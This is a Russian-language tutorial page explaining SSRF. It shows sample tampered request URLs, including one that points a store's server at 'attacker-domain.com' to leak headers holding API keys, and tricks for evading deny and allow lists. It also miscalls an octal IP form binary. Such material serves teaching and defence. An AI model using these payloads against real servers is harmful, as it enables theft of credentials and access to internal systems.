Перейти к содержанию

SSRF


Server-Side Request Forgery - уязвимость позволяющая атакующему заставить web сервер делать запросы к тем ресурсам которые определит атакующий.

В качестве примера:

Запрос который отправляет web приложение выглядит следующим образом:

https://some-store.com/stock?url=https://api.store-catalogue.com/api/stock/item?id=123
В таком случае простая подмена параметра url:
https://some-store.com/stock?url=https://api.store-catalogue.com/api/user/
вернет нам то, что было передано в качестве значения параметра:

https://api.store-catalogue.com/api/user/

Другой пример:

Легитимный запрос получающий сведения о товаре выглядит следующим образом:

https://some-store.com/stock?url=/item?id=123

В таком случае, используя directory traversal можно изменить запрос следующим образом:

https://some-store.com/stock?url=/../user/

Чтобы получить:

https://some-store.com/stock/../user/


Еще один пример:

В нём атакующий может изменять субдомен на который посылаются запросы.

Легитимный запрос:

https://some-store.com/stock?server=api&id=123
Изменённый запрос:
https://some-store.com/stock?server=api.some-store.com/api/user&x=&id=123
Получив такой запрос, сервер вернет данные из:
https://api.some-store.com/api/user

К сведению

&x= позволяет "отрезать" оставшуюся часть запроса, представив его как значение параметра x %23 представляет из себя символ #, что так-же может быть полезно для "отрезания" запросов


Очередной пример

Атакующий может заставить web сервер делать запросы вообще на произвольный адрес, как правило на тот, который контролирует сам атакующий.

Результатом такого запроса будут являтся передаваемые заголовки, которые могут содержать полезную информацию, такую как ключи API или аутентификационные данные.

Легитимный запрос:

https://some-store.com/stock?url=https://api.store-catalogue.com/api/stock/item?id=123
после подмены параметра url:
https://some-store.com/stock?url=https://attacker-domain.com/


Способы обнаружения SSRF

Понять, что web приложение может быть подвержено SSRF можно из следующего:

  • Использование в качестве параметров GET запросов полных URL адресов: https://website.com/form?server=https://target-site.com/some/path
  • Использование в качестве параметров GET запросов части URL адресов(hostname): https://website.com/form?server=api
  • Использование в качестве параметров GET запросов путей: https://website.com/form?dst=/forms/contact
  • Использование скрытых полей в формах ведущих на определенный URL

Способы защиты от SSRF

Действенным способом защиты является ограничение адресов на которые может обращатся приложение. Для этого используются deny или allow листы.

Не смотря на это, обойти защиту все же можно.

deny листы обходятся использованием альтернативных написанием адресов: например 127.0.0.1 можно выразить в десятичном виде как 2130706433 или как 017700000001 в двоичном.
allow листы так же легко обходятся путем создания поддоменов, наименование которых соответствует доменам из allow листа.